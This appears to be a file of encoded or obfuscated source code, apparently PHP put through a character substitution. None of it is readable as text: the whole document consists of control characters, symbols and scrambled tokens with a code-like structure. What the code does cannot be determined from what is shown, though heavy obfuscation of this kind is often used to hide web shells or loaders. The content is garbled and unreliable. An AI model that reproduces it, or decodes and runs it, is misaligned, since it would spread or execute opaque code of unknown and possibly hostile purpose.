^^^H!OIMHVWttt^tt^

^^^^^^Z	OH	
!^C^Et^^^VZ	OH	
!W^^^
Etttt^^Z	OH	
!^^C^^
Ett
^^tt^^^^^^V_^KO	VFGIWVGHNVGNFWW^^^^^^_^!VWW^Z

	C.6.!3?41,!(;,-710EZ!HKG	CZ

	TOEt^
Et^^t^^^^^^^V_M!VFGIWVM!VFMLWW^^^_
!!VM!VGNGWWW^t
Et^^ttt^Z
!	!IN^^^C^
VZ!,;/+;-*%GHNVGONW#W^^A^Z!,;/+;-*%J	VGOOW#^^^D^\\Et^^^^^^Z
!	!IN^^C^^J	VFFHWVZ
!	!INW^^A^^MHFKVINNWVZ
!	!INW^^^D^^^\\Ett^^^^^^^VZ
!	!IN^^^^_CC^J	VGOLW^^^^XX^^^Z
!	!IN^^_CC^MHFKVGOMWW^tt^^^^
Et^^^tQQ^).^-^-^,^^


tt^^^tttZOJO^^C^^VWEt^^^^VZ
!	!IN^CCC^GHNVGOLWW^t^^ZF	HI^^^C^^
VZ!,;/+;-*%MHFKVGOJW#W^^^^A^^^^Z!,;/+;-*%GHNVGOJW#^^^D^^^^\\Et^^ZF	HI^^^C^^^^KO	VFFHWVZF	HIW^A^^KO	VINNWVZF	HIW^^D^^^\\Et^^VZF	HI^^^^^^XX^^ZF	HI^^^_CC^MIIMVWW^^tZOJO%#^^^^C^^ZF	HIEt^^^^^^t^^^^ttttZL!OM^^C^^^^^
VZ!,;/+;-*%GHNVGOKW#W^A^^^Z!,;/+;-*%MHFKVGOKW#^^^^^D^^^^VWEt^^^^ZL!OM^^C^^KO	VGOHWVZL!OMW^A^^^^ZL!OM^D^^VWEt^^^^^VZL!OM^^^^^^^ZF	HIW^^^t^^ZF	HI^^C^^^J	VFFHWVZF	HIW^A^^MHFKVINNWVZF	HIW^^^D^\\Et^^^^^^VZF	HI^^XX^^^^ZF	HI^^^^_CC^MIIMVWW^^ttttZOJO%#^^^^C^ZF	HIEt^^^t^ttt^^V
VZOJOWW^^^ttt^^^^
Et^^^^^t^ZOKL!^^^C^^^^Ett^^VZOJO^^^^^^ZF	HIW^^t^^^^^^^^VMNIGJOVZF	HIWW^^^^tQQ^
S
^

Sttt^^^^^OMFGJLNVZF	HIWEt^^ZOKL!^^^^C^^^^^
Et^^tt^^^^^^^^^VZOKL!W^^^^^tttt^^VKO	VFGIWVKO	VGOIWW^XX^J	VFGIWVMHFKVGOFWWW^^^t	!!
V!VJ	VGOGWWWEt^^ttt^^^^^^^t^^^
^^^V*	^^^^^ZMN!W^^t!LNLVKO	VGLNWR^^ZMN!WEt^^^^^^^^
^^V;
^ZMN!W^t^tt^^^^t
^GLH
VZGLKR^^^^ZNL!Wtt^^^VZNL!^CCC^^MHFKVGLOWW^^^t^Z^C^XZ921<?2-%MHFKVGLLW#Et^^^^^^V_
VZ%KO	VGLOW#W^^^^^_KO	VGLMWVZ%GHNVGLOW#WW^^^t^^^
^^ZGLKEt^tttt^^^^^Z
^^^^C^^^^^VM!VMNMWW^^A^^^^).!=10*;0*!:7,^^^D^^VVMHFKVGLJWW^^A^?<-.?*6^^^^P^J	VJGW^^D^\\WEt^VZ
^CCC^\\W^^tt^^^^
^^^^^ZGLKEt^t^ZN!NJ^^^^C^^VGHNVGLKW^C@^^J	VGLHWR^M!VGLIW^^C@^^^KO	VGLFWWEt^^^^^VZN!NJ^^^^^^ZG
GNIG^C@^^^^^Z!
W^^tttt^^^^V_
VZ%GHNVGLOW#%ZG
GNIG#WW^^^tt^^^^
Et^^^^t^^ZLJMK^C^^^>J	VGLGWVZ
^^P^^^^^YQY^^^P^^^ZG
GNIGWEt^^^^^^^^^V_J	VFFHWVZLJMKW^^^^GHNVFKFWVZLJMKR^^GHNVGMNW^^P^^Z!
^P^^GHNVGMOWW^CCC^^^W^^^^^t^
Etttt^^t^ZLIILJ^C^^^^^^M!VKNKWVM!VGMLW^^^^^^P^Z!
^^P^KO	VGMMW^^P^^^^Z!
^^^P^J	VGMJWR^^^\\R^ZLJMKWEt^^^^^^V_GHNVFFHWVZLIILJWW^tttt
Et^^t^^ZLIILJ^C^^J	VINNWVZLIILJWEt^^^VZLIILJ^^^CCC^^^^^^\\^^^^ZLIILJ^^^^^CCC^^^^^M!VIIOW^^^^^ZLIILJ^^^^CCC^^^GHNVLKKWW^t^^
VZ%J	VGMKW#%ZG
GNIG#WEt^^^^^^^t^^^t
^^^ZGLKEt^t^^^^^^^^^VZNL!^^^_CC^GHNVGMHWW^^t^^^^
^^ZGLKEt^^tttt^^^Z^^C^^^XZ921<?2-%MHFKVGLLW#Et^ZKN^^C^^^M!VGMIWVK		HK!	VWWEtt^^^V
VZ%J	VGMHW#%ZKN#WW^^^^t^^^^^
VZ%J	VGMHW#%ZKN#WEtt^
^^ZGLKEtt^^^V_J	VFGIWVKO	VGMFWWW^t
^^KM
!VWtt^V_^OMKOVWW^ZFFGC.6.!3?41,!(;,-710EZO	NCZFFGTJEt^^^
Et^t^^^^ZN^C^^J	VGMIWVK		HK!	VWWEt^^^^^^ZHMFF^^C^^^^KO	VGMIWVK		HK!	VWR^^M!VFNKWWEtttt^^^^ZJFFO!^C^^^ZHMFF^^^P^^YQY^^P^^^^^ZNEtttt^^^M!VGMGW^P^!

VZNW^^^^P^M!VGJNW^^P^^^!

VZJFFO!W^^^^P^^M!VGJOWEt^^^^MHFKVGJLW^^^^^P^^^!VZNW^^P^^GHNVGJMW^P^^^^!VZJFFO!W^^^^^^P^^J	VGJJWEt^^^^^^^tt^^^t^^^^^^^V_MHFKVGJKWVMHFKVGJHWWW^^^tttt
^NFOHN
VZLG
HWtt^V_^^KO	VONIWVZLG
HWW^t^^^
^ZLG
HEtt^^ZN^C^^^MIIMVWEt^^^^V
VZLG
HS@%ZN#WW^^^^^tQQ^.6.^FPL^^
	^tt
VZLG
HS@%ZN#WEt^^t^^
^^ZLG
HEttt^^^^tt^V_J	VGJKWVM!VGJIWWW^^t^^^^^^^^
^
MFGNFVZWt^t^ZII!N	GNL^^C^^^MIIMVWEt^^^^^V
VZ%ZII!N	GNL#WW^^ZNOIJIJC.6.!3?41,!(;,-710EZFKGCZNOIJIJTMEt^^^
VZ%ZII!N	GNL#WEt^t^^ZHMFF^C^^GHNVGMIWVK		HK!	VWR^^J	VGJFWWEt^^^ZJFFO!^^C^^^^^ZHMFF^P^^^YQY^^P^^GHNVGMIWVK		HK!	VWWEt^^V
VZ%ZJFFO!#WW^^t^^^^^
VZ%ZJFFO!#WEt^^^^^^t^
^^^ZEt^^^tQQ^
^S
tt^tt^^^^^^
^JH!JVZOGNKJIWt^^^^^^^t^^^^V_^^^^^KO	VGJGWVZOGNKJIWW^^^^^ZINCLJNFNEZ!NMHMCZIN MJEt^
^^^^ZOGNKJIEt^^^^^t^ZGJK
^^^C^\\Et^^^^^^^^VMHFKVGJKWVJ	VGKNWW^^^XX^^KO	VFLHWVK		HK!	VWWW^^^tttt^^Z	J!^^^C^^^
!!
VK		HK!	VWR^^R^WEt^^^^^ZGJK
^C^
VZ	J!%J	VGKOW#W^^A^^Z	J!%M!VGKOW#^^^^^^D^^\\Ettt^ZHKJIN^^C^^VKO	VGKLWR^^M!VGKMWWEt^^^VZHKJIN^^^^ZOHOOMK
W^^^^tttt^^^^^^V_^^^
VZOGNKJI%ZOHOOMK
#%KO	VGKJW#W^^_^^^MHFKVGKKWVZOGNKJI%ZOHOOMK
#%KO	VGKJW#WW^t^^^^^^
Et^^^^t^^^VZOGNKJI%ZOHOOMK
#%GHNVGKJW#^^^^^^^^^Z^C@^^^^^^ZIHL!W^^^tttt^^^^VJ	VFKFWVZR^MIIMVWW^_CC^^^^^^^^^^Z^CCC^^MIIMVWW^^^^t^^^^
VZOGNKJI%ZOHOOMK
#%GHNVGKJW#%Z#WEt
Et^^^t^^^VZGJK
^^_CC^\\^^XX^^^^Z^^^CCC^^^ZGJK
W^^t^^^^
VZOGNKJI%ZOHOOMK
#%GHNVGKHW#%Z#WEt^^
Ett^^tt^^^^^^^^VVJ	VGKIWR^^^^^^KO	VGKFWW^^^^^^ZI	N	M!MHFW^^t^ZILKGOG^C^^
VZOGNKJI%ZI	N	M!MHF#%KO	VGKGW#W^XX^^^^^M!VGHNWVZOGNKJI%ZI	N	M!MHF#%MHFKVGHOW#W^^^^A^^^^ZOGNKJI%ZI	N	M!MHF#%M!VGHOW#^D^^VWEt^^^^V_ZILKGOGW^^
EZGGLCOHNEZO	FCVZGGL@NWAZGGLDSZGGLEt^^^^^Z^^^C^VMHFKVGHLWW^^^^^^A^^^).3+!.2+970!:7,^D^VVMHFKVMNMWW^^^^^^A^^^^).!=10*;0*!:7,^^P^^^^^KO	VOHW^^D^^^^\\WEtZ!OF
^^C^^^^VWEt^^^^^^^VZGJK
^^^^_CC^^^\\W^Z!OF
%#^C^ZGJK
EZ	OCINTLEZL
ILCZ	OSLNEtt^^^Z!OF
%#^C^^GHNVGMIWVK		HK!	VWWEttt^^^VZ^_CC^^\\^XX^^^>J	VFILWVZW^XX^^J	VGJKWVM!VGHMWWW^^^^^^t^^^^^^^^VVW^>MHFKVGHJWVZ^^^^^^P^^^J	VHHJWW^^^^ZLGFNJJOW^t^^^ZNG^^^C^^^^>J	VGLGWVZLGFNJJOR^^R^^R^^^NR^^VFOKOUJOWWEt^^^^^V_MHFKVFFHWVZNGW^^^^MHFKVFKFWVZNGR^^KO	VGHKWW^CCC^^W^^
Et^^^^^VJ	VFNWVKO	VGHHWR^^^^ZNGR^^Z!	IMJ!WW^^^tZMI^^C^^^^^J	VINNWVZ!	IMJ!%O#WEt^^^^VZMI^_CC^^\\W^^^Z!OF
%#^^C^^ZMIEt^t^^^^^^^Z!OF
%#^^^C^^^MHFKVGHIWVZLGFNJJOWEtt^^^t^^^^^tQQ^
S
^

S^^).^8
^2ttt^^^^^^^^^VZILKGOG^^^^Z^C@^^^^^ZIHL!W^^^^^tt^^VZ!OF
^^^^^Z
!
MMIK
W^tttt^^^^^^^VZ^^CCC^^^Z
!
MMIK
^^^^^^Z^^CCC^^^^^^
!

!VZ
!
MMIK
WW^^^Z
CILTMEZCZ
SOEt^^^^^^^
VZOGNKJI%ZI	N	M!MHF#%J	VGHOW#%Z#WEt^^^Et^^t^t^^^ttt^tQQ^^S^ttZLFH^^C^^^^^
VZOGNKJI%KO	VGHFW#%M!VGHOW#W^^XX^^^J	VGHGWVZOGNKJI%MHFKVGHFW#%GHNVGHOW#W^A^^^^ZOGNKJI%KO	VGHFW#%GHNVGHOW#^D^^^^VWEt^^^^^^VZLFHW^tZ
^C^VGHNVMNMWW^^A^^).!=10*;0*!:7,^^D^^VVGHNVGLJWW^^A^^^?<-.?*6^^P^MHFKVGINW^D^^\\WEt^^^ZN!NJ^C^^^^VM!VGIOW^^^C@^^M!VGILWR^^^^^KO	VGIMW^^C@^J	VGLFWWEt^^VZLFH^^^Z^^^C@^^^ZIHL!W^^^^^t^^V_
VZN!NJ%Z#W^^^Z
^^^^CCC^^\\W^^^
EtZLJMK^^^^^C^>MHFKVGLGWVZ
^^^^^P^^^YQY^^P^^ZR^^R^^^R^NR^VJFMJSIMFWWEttt^^^^^^^^VGHNVFFHWVZLJMKW^XX^^VJ	VFKFWVZLJMKR^M!VGMNW^P^^ZN!NJ%Z#^^^P^^^MHFKVGIJWW^_CC^^^^^^^^^^^M!VGIKWVZLJMKR^MHFKVGHKWW^_CC^^^WW^^^^t^^
VZOGNKJI%KO	VGIHW#%MHFKVGHOW#%Z#WEt^^^t^^t^t^^^^^
^ZOGNKJIEttt^^tt^^t^
^^^HM!IKMM	VZGLWt^^^^^t^^^V_^^M!VGHGWVZGLWW^^^tQQ^).^?
^<^^tt
^^^ZGLEt^^^^^t^^ZI
LLI	N	^C^^M!VGHIWVK		HK!	VWWEt^ZF	LG^C^GHNVFLLWVZI
LLI	N	R^^.?*67081!872;0?3;WEt^^^^Z	IJN^^^^^^C^^^^^Vtttt^^^VGHNVGIIW^^^C@^Y]Y^^^P^GHNVGIFWVZI
LLI	N	R^^Y]YW^^P^^KO	VGIGWR^M!VGFNW^^C@^^
WRtt^^VGHNVGFOW^^C@^^KO	VGFLW^^^P^^^^M!VGIFWVZF	LGR^^^^Y]YW^^^P^^J	VGIGWR^^^MHFKVGFNW^^C@^^
WRttt^^^WEt^^^^^^V
VZGL%GHNVGFMW#W^^^^^^XX^^^^^^J	VGFJWVZGL%GHNVGFKW#WW^^t^^^^^^VZGL%MHFKVGFKW#^^^^^^ZOLHKG^^C@^^^^^ZF!!W^t^^^^^^^^^^^^V_^^^MHFKVGFJWVZF!!W^^^^^^_^^J	VGFHWVZOLHKGWW^^t^^^^
Et^^^^^t^^^^V_^^^
VZGL%MHFKVGFKW#%ZOLHKG#%KO	VGFIW#W^^^^^^^_^^J	VGFFWVZGL%M!VGFKW#%ZOLHKG#%M!VGFIW#WW^t^^ZGL%MHFKVGFKW#%ZOLHKG#%MHFKVGFIW#^C^^^VWEttt^^t^^^^VZ	IJN^^^^Z	!W^^^^t^^^^ZGL%M!VGFKW#%ZOLHKG#%J	VGFIW#%#^^^C^Z	!Ett^^^tt
^^ZGLEt^^t^^^t^^^
^JOG
OKOVWt^^t^
^^t^^V_^^^^VM!VGFGWW^^^^^^

VJ	VGFGWW^^B^^VNOUNHWW^^^^^^t^
Et^^^ttt^^^^^VMHFKVHONWVM!VGGNWR^^^WW^^^tQQ^).^7^<D^^tt^^
Et^^tZOO^^C^^KO	VGGOWVK		HK!	VWWEtZIJ^C^^VJ	VHWW^A^^).!.2+970!:7,^^^^D^^^^\\EtZ	OKF^C^Vttt^^^^ZIJ^^P^^^^^^KO	VGGLWRt^ZIJ^^^P^^GHNVGGMWRtZIJ^^P^^MHFKVGGJWRt^^^^^WEt^tt^^^^^ZNH^^^^^C^\\Et^^^^^^^^^VZ	OKF^^^^^^^^ZNW^^^^^tt^^^^^^^^VZN^^^^^^_CC^\\^^^^^XX^^>MHFKVFFNWVZNW^^XX^^^^>M!VFIJWVZNWW^tZNH^^C^^ZNEt^^Et^^^^^^^t^^^^^^^t^^^VZNH^CCC^^\\W^^^t^
Etttt^Z	NHNOK^C^^KO	VFLGWVZNHWEt!
!
V
^VZ	KONKW^^^^VZ	NHNOKW^^t^^^^^^^^VVZ	NHNOK^^^P^YQY^P^^^Z	KONK^P^MHFKVGGKWR^^Z	NHNOK^^P^^^YQY^^^P^Z	KONK^^^P^MHFKVGJFWW^^^^^^^ZINW^^t^V>M!VFFNWVZINWW^t^^^^!^ZINEt^^
Et^^t^^^t^WEt^^^^^^^^ZMFK^^^C^^^^^^>MHFKVGLGWVZNHWEttt^^^^^^^VZMFK^^^CCC^^^^^^J	VGIKWVZMFKR^^^^J	VGGHWW^CCC^^W^^^tt^^
Et^tZMFK^C^^^^^^MHFKVGGIWVMHFKVGGFWR^\\R^^ZMFKWEt^^^^^ZMFK^^C^M!VJMFWVMHFKVGGHWR^KO	VGGGWR^^^^^ZMFKWEt^ZO!^^C^^^NHGINGFOVJ
G	JINFOVWR^GHNVFKMWWEtttt^^^^VZO!^^CCC^^^W^^t
Et^t^^^^^^>M!VLONWVZO!R^^GHNVONNNW^P^^^ZMFKWEt^^^^
^tttt^^^^^^^>^^^^^ZO!Et^^^^^^^^^^tOM	VZO!WEt^^t^^ZOOJ^^C^MHFKVONNOWVZOOR^^.?*67081!872;0?3;WEttttZ921<?2-%MHFKVONNLW#^^^^C^^ZOOEt^^^^^^^^Z921<?2-%M!VONNMW#^C^ZOOJEt^^Z	!	M^^C^^^M!VONNJWt^^P^MHFKVONNKWt^^^^^^^^P^M!VONNHWt^P^^^^J	VONNIWt^^^^^P^^^^^KO	VONNFWt^^P^YYt^^P^KO	VONNGWt^^^^^^P^YYt^^^^P^^^^^^YYEt^^^^^^ZL!FG^C^^NHGINGFOVJ
G	JINFOVWR^^KO	VFKMWWEt^^^^VZL!FGW^^t^>GHNVLONWVZL!FGR^^^Z	!	MWEt^^
^^ttt^>^^^ZL!FGEt^^^^^^^tttt^^^^^OM	VZL!FGWEttt^^^tt^^^^^
^^V*	^^ZMN!W^^^t^^^^^!LNLVGHNVONONWR^^^^ZMN!WEt^^^^
^^^V;
^^ZMN!W^^t^^^^^^^t^^^t^^^^V_M!VGJKWVGHNVONOOWWW^^^^^ttt^
^OMJI!MOJVZ
HR^ZFOOIOFNMWtt^^^^^V_^^^MHFKVONOLWVZ
HWW^tQQ^).^*^<D^^S
tt
^^Z
HEt^^^^^^^t^^^^^^ZKL
LM^^^^^C^^^VJ	VONOMWR^GHNVONOJWR^^^^KO	VONOKWR^^^^GHNVONOHWR^^MHFKVHMLWWEttt^^VZKL
LM^^^^^ZW^t^^^^V_^^^^^
VZ
H%Z#W^^^^^^^_^^^MHFKVONOIWVZ
H%Z#WW^^^^tQQ^).^,;-*^?.7^LD^
^
ttttt^^^^^^^
Et^^t^^Z
M	F^^^C^^VWEt^^^VZ
H%Z#^^^^^ZFOJW^t^^^V_^^^^^^KO	VONOFWVZFOJWW^t^^Z
M	F%#^C^^ZFOJEt^^
EttZJOM^C^
VZFOJ%J	VONOGW#W^^A^^ZFOJ%GHNVONLNW#^^D^^^^\\Et^^^^^^ZOOJ^^C^^^^^
VZ921<?2-%M!VONNMW#W^^^^^A^^^^^Z921<?2-%J	VONLOW#^D^\\Et^^^^^VZJOM^CCC^ZFOOIOFNM^^^^VZOOJ^^_CC^^\\^^^^XX^ZJOM^^^^CCC^^ZOOJWW^^^t^^
Et^^^^tt^^^^^Z
M	F%#^^C^^^^^^OMJI!MOJVZFOJR^^^^ZFOOIOFNMWEt^tZ
H%Z#^^^^C^^^^Z
M	FEt^^^^t^^^^^^^
^Z
HEtQQ^.
^.6.^LD^^ttt^^t^^
^^^^GIIF	MJVWtttt^^^^^t^^^^^
^^^t^^^^^^^^^^VMHFKVGJKWVGHNVKLFWW^^^^^XX^^^^
!

VKO	VONLLWWW^t
Ett^Z	L	^C^^^>GHNVFFLWVK		HK!	VWWEt^^^^VZ	L	^^^^^XX^^Z	L	^^^^@^^VNONUNLGW^^^XX^Z	L	^^^^^^B^VFHOFGGOSMHOFGGOW^XX^^^_	KOLVK		HK!	VWWW^t^Z!NMGGF^^^C^^^^^>GHNVGLGWVK		HK!	VWWEt^VMHFKVONLMWVZ!NMGGFW^^XX^^J	VFFIWVZ!NMGGFW^CCC^^^^^Z	L	^XX^^JKOOFVZ!NMGGFWW^t^^^^^VGGLJO!MOVK		HK!	VWR^^G			JVZ!NMGGFWWW^tQQ^).^.
^*
^^
tt^^^^^^FKKL!VK		HK!	VWWEtK
VK		HK!	VWWEt^^t^^t^
VZ!NMGGFWEt^ttt^^^Z!FL^^C^^^^^>GHNVONLJWVK		HK!	VWWEt^ZOHH^^^C^^Z!FL^^XX^Z!FL^@^^VHLONSOLONWEt^^^^^VZOHH^^^^XX^^Z!FL^^@^VNOHJJUNOONNWW^t^^^^ZOHH^C^^Et^t^^^^VZOHHW^t^ZOM!K^^^C^^>J	VGLGWVK		HK!	VWWEt^^^^^^VKO	VONLKWVZOM!KW^^^^XX^^J	VFFIWVZOM!KW^@^VLJKLJHUFNMMMNWW^^ZOM!K^^^^C^^^^!ML!JNGNVZOM!KWEt^^^^V_J	VONLKWVZOM!KW^^^^^^^^_JKOOFVZOM!KWW^^^^tZOHH^^C^^^Et^^^^^^^tttt^^^^^ZIK
OMK^C^GMGHNGVMHFKVFFFWR^^\\WEt^ZK!
^^C^^^M	JNOVZOM!KWEtZ
M!O^C^M	JNOVGHNVONLHWVZIK
OMKW^^^^^A^^ZIK
OMK^^^^D^^^^\\WEt^^VZK!
^^^_CC^^\\^^XX^^^VZ
M!O^^^CCC^^^^^\\^^^^^!VZ
M!OR^^^^^ZK!
R^^^^^YBYWWW^t^^^^^ZKGMNHFL^C^J	VFFMWVZOM!KWEt^ZM!KO^^^C^^^>J	VONLIWVKO	VONLFWVK		HK!	VWW^^^P^^^^^J	VOFIW^^^^P^^ZKGMNHFLWEt^^^^^^^V_ZM!KOW^^^^^tt^^^^^^ZJJ	G^^C^^^
!
VMHFKVOGNWWEt^^^^^^^VJ	VONLHWVZJJ	GW^^^XX^J	VONLGWVZJJ	GR^^^ZKGMNHFL^^^^P^^^YYW^^^^^^CCC^^N^XX^^^^^KO	VFHIWVW^S^^V
W^M!VIIJWVZJJ	GR^^^^^M!VONLGWVZJJ	GR^^YYW^U^^OW^^^B^^VHHGKUIGINKWW^^^^ZM!KO^C^^
Et^^^^t^^^^^^VZM!KOW^^^ZOHH^^^C^^^Et^^^V_ZM!KO^^XX^^GHNVONLHWVZIK
OMKW^^^^^^XX^VZIK
OMK^CCC^\\^^^^^^^^Z
M!O^^^CCC^^\\^^^^^^!VZ
M!OR^^ZK!
R^^^YBYWWW^FOGJMVM!VFFFWR^ZOM!KR^^^MHFKVFGGWWEtttt^
VZKGMNHFLR^^ZM!KOR^ZJJ	GWEt^^^^^^^^^^^^^^^VM!VONLHWVZIK
OMKW^^XX^^^MHFKVFFIWVZIK
OMKW^^^@^^^^^VJKKUJKW^XX^^^KO	VFFIWVZIK
OMKW^BC^VONJFKNKUIOW^^XX^^^_
F	LFHVZIK
OMKW^^XX^JKOOFVZIK
OMKW^XX^^M!VFFMWVZOM!KW^^_CC^^^M!VFFMWVZIK
OMKWW^^t^ZOHH^C^Et^tt^^^t^^^^^^VZOHHW^^tt^^^VM!VONMNWVJ	VONMOWWW^^^t^
!

VGHNVONLLWR^^^OR^VNJUNLHWWEt^^^tttt^^^^^
Et^^ttt^^^^V	KOLVK		HK!	VWWW^t^
Ett^^ZNI^^C^^M!VONLFWVK		HK!	VWWEttt^^^V_^^>J	VONMLWVZNIWW^^^^^^t^^^OF!NKIOVZNIR^^^^^^VJNKUFFWR^
WEt^^tQQ^

^S^^).^7^<ttZJI^^C^^GMGHNGVMHFKVONMMWR^^^^\\WEt^^V_ZJI^^^^_KO	VONLHWVZJIWW^^^^^t^^^^V_
!

VGHNVONMJWWW^^^t^!LNLVMHFKVONMKWR^^MHFKVONMHWWEZGGC.6.!70*!3?&Q.6.!70*!3?&EZ	IO
!CZGGUMMEt^^^
!

VM!VONMJWR^^OR^^^^^VKIFKSLOFKWWEtttt^^tQQ^).^-
^8D^
^
S
ttttt^^^^^^^^t^^^VZJI^^^XX^^^^^^GHNVONLHWVZJIW^^^^^^XX^KO	VONMIWVZJIW^^@^^VJHGUMOW^^XX^^^^^MHFKVONMIWVZJIW^BC^^^^VNMJLLUNW^^XX^^^^_
F	LFHVZJIW^XX^^JKOOFVZJIWW^^tQQ^^^
tt^^ZKL	HN	J^C^M	JNOVZJIWEtttt^^^^VZKL	HN	J^_CC^^^^^\\^XX^^!VZKL	HN	JR^MFKKIO
VWR^YBYWW^t^^
Ett^tt^ZLKFMNI^^^^^C^J	VONLFWVK		HK!	VWW^^P^^M!VONMFW^^P^^^^J	VGGOWVK		HK!	VWR^MHFKVGJFWWEt^ZF
IGH^^^^C^^>KO	VONMGWVZLKFMNIW^A^^^J	VINNWVV
W^^^>GHNVGLGWVZLKFMNIWW^^^D^^\\Ett^^^VZF
IGH^^^_CC^^^\\^XX^^^J	VONJNWVZJIW^CCC^ZF
IGHW^^t^^^
EtttttMIFJHVK		HK!	VWR^VOLOULGGWWEtZO
LG	IO^^C^^^^GGLJO!MOVK		HK!	VWR^^G			JVZJIWWEt^^^^^^^^^VZO
LG	IOW^t^FKKL!VK		HK!	VWWEtMIFJHVK		HK!	VWR^VLHIULKWWEtttK
VK		HK!	VWWEtttt^FNGNV
WEt^^^^^GKHOMHV
WEt^^			!OLJKIVK		HK!	VWWEtt^VGHNVONMNWVM!VONMOWWW^^^^^t
!

VKO	VONJOWR^^OR^^^^^VKFILSLLILWWEt^^^^^^^ttt^^^^^^^VJ	VONMNWVGHNVONMOWWW^^^t
!

VJ	VONJOWR^^OR^^^^VOIJIUKMWWEttQT^^S
^TQtt^t^^^^^^^
^^V*	^^ZMN!W^^^^t^^!LNLVJ	VONMKWR^^^^^ZMN!WEtttt^
^^V;
^^ZMN!W^t^^^ttt^tttt^^^^t^^
^^HKGIMIVWt^^^^tQQ^^
^^).^7^<ttt^^LHOGLVKO	VONJLWR^^^^MHFKVONJMWWEtLHOGLVGHNVONJJWR^^^^^KO	VONJMWWEt^^VGHNVONMNWVMHFKVONJKWWW^^^t^^!
VMHFKVONJHWR^^KO	VONJIWWEt^^!
VMHFKVONJFWR^^^^GHNVONJIWR^^^VNJUNHWWEttt^!
VM!VONJGWR^^^^J	VONKNWR^VML JLWWEtttttQQ^
^
^
tt^^^^^^t^^^^^^^
^^^
L!KKKIVWt^^^^tttt^^^
^t^^^^^Z	^^C^Z921<?2-%J	VONKOW#EtZ
FN^^C^Z	S@^^^P^^^J	VONKLWEt^^^^^^ZFGN!^C^Y-Y^^^^^^P^^^^GHNVONKMW^^P^^Z	S@^^^^^P^^KO	VONKJW^^P^^Z	S@
^^P^GHNVONKKWEt^
^^Z	S@
!
VZ	S@VZFGN!R^^^Z
FNR^M!VONKHWWWEt^^^^^^^^^
^^^V*	^^^^ZMN!W^^^tQQ^).^.
^=

^^tt!LNLVJ	VHIJWR^^^ZMN!WEttt^^^^^^^^
^^V;
^^^^^^ZMN!W^t^^^^t
^^VWEt^t
^^!GLHM!H	LVZ	!!KMIFMNWt^^t^ZJKG^^C^^^^^VWEt^^^ZJ
^^^^^^C^^^
^VZMGIGW^^t^^^^^^ZMGIG%J	VONKIW#^C^^^^^\\Ett
^^ZMGIGEtttt^^Et^
^^tttt^^^V_^^J	VONKFWVM!VONKGWW^^^^^^_^^^^J	VHONWVGHNVONHNWWW^^^tt^^^
^^ZJKGEttt^^^^^V_^^J	VONOFWVZ	!!KMIFMNW^^^^^^^^
VZ	!!KMIFMNWW^^^t^
^ZJKGEt^^^^^^^t^ZNNLFH^^C^^^GHNVFHIWVW^^^^^^U^VKN HNW^^^^^T^^VFHMHOUMGWEt^Z!^C^J	VONKFWVJ	VONHOWW^^XX^!VWEtt^Z!HO!H^^^^C^^^^^^Z!^A^GHNVONHLW^D^^^^GHNVONHMWEt^^^^^ZG!NM	^^C^Z!^^^^^^A^VVGHNVONHJWW^A^^^-;=+,;!?+*6!=1157;^D^^^\\W^D^^^^VVJ	VONHKWW^A^?+*6!=1157;^^^D^^\\WEt^ZGG!IJK^C^^^^^VMHFKVONHHWW^^^^^A^^^^2199;:!70!=1157;^D^^\\Et^^^^V_^^ZG!NM	^^_^^^^^ZGG!IJKW^^^t^^
^^^ZJKGEt^^^t^^^^ZGLFG^C^^^^VMHFKVONHIWW^XX^^=1157;!:13?70^^^A^^^M!VFWV=1157;!:13?70R^YPYW^^^^D^FK!G!NV\\WEtZFJI
G^^^C^^VKO	VONHFWW^^^^^A^^=1157;.?*6^^^^^D^^^^^YQYEt^^^^^^^ZNMOM^^^^^C^VGHNVONHGWW^^^^^^A^^?:370!=1157;!.?*6^D^J	VONINWEt^^ZLML
KO^^C^^^Z!^A^GHNVONIOW^^^D^^J	VONILWEttt^^^ZOMO!^C^^^^\"
\Et^LHOGLVGHNVONIMWR^^^ZJ
R^^^NWEt^^ZLMGHJ^^C^^N	JLFJFF
MVGHNVONIJWWEtt^^ZONL
MK^C^^GHNVONKFWVMHFKVFGLWW^^^A^>
!
VZLMGHJR^^VWW^D^^^^^VWEtttt^^^V_M!VONOFWVZONL
MKWW^ZONL
MK^C^VWEt^ZHI
G	^C^^^Et^^Z^^^^^C^NEt^^^^^^^VZ	!!KMIFMN^^^ZHH!
GHW^^^^^^tt^^^^^V_^MHFKVONIWVZHH!
GHW^^^^^_^^^ZHH!
GHS@7:^^^^^^^_^^^^^ZHH!
GHS@!W^^^^^t^^^^
EttQQ^^tt^^^^^^^^^VZ^^^^@C^^^VLUOWW^^^^t^Ettttt^^^^^ZKHFF!^^^^C^^V
W^^^ZHH!
GHS@!Et^^^V
VZONL
MK%ZKHFF!#W^^XX^^^V
W^^ZONL
MK%ZKHFF!#^^^^@^^^^KO	VONIKWVW^^U^L^^T^^^VNOOOKUNMHHWW^t^^^^^
Et^^^^^^^^t	!!
VZHH!
GHS@7:R^^KO	VONIHWWEtZ
!F^^C^^^^^
!!
VZHH!
GHS@7:R^^^MHFKVONIIWR^^^
WEt^^^^VMHFKVONOFWVZ
!FW^XX^^KO	VONIFWVZ
!FW^@C^^VNMUNIWW^t^^^^^ZI!!	M
^^^C^^VWEttt^^^^^^^^^VZ
!F^^^ZMOJH^^^^^C@^^ZK	!NW^^^^^^tttt^^^^^V
VZK	!N%GHNVONIGW#W^^^^^^XX^^ZK	!N%J	VONFNW#^^^^^@^J	VONFOWVWW^^^t^^ZI!!	M
%ZMOJH#^C^^^^^ZK	!NEttttt^^^^^VM!VONIFWVZI!!	M
W^_CC^^^M!VONIFWVZ
!FWW^^ttt^^
!!
VZHH!
GHS@7:R^^MHFKVONIIWR^ZI!!	M
WEtttttt^^^^t^^^^	!!
VZHH!
GHS@7:R^^MHFKVONFLWWEttt^^ZK
GJ^^^C^^KO	VMLIWVVKO	VONHNWR^^^^KO	VONFMWWR^^^^^ZHH!
GHS@7:WEt^^^^^^ZH	FM^^^^C^^ZK
GJS@
VZNNLFHWEt^ZLJ^C^VWEt^^ZLJ%#^^^C^^^^^^ZGLFG^^^^P^^^ZOMO!^P^^^^^KO	VONFJW^^P^ZOMO!^^^^^P^ZFJI
G^^^^P^^^ZOMO!^P^ZLML
KO^^^P^ZOMO!^^P^^ZNNLFH^P^^^ZOMO!^^P^^^^^^ZGG!IJK^^^^P^^^ZOMO!^^P^^^^KO	VONKGWVZHH!
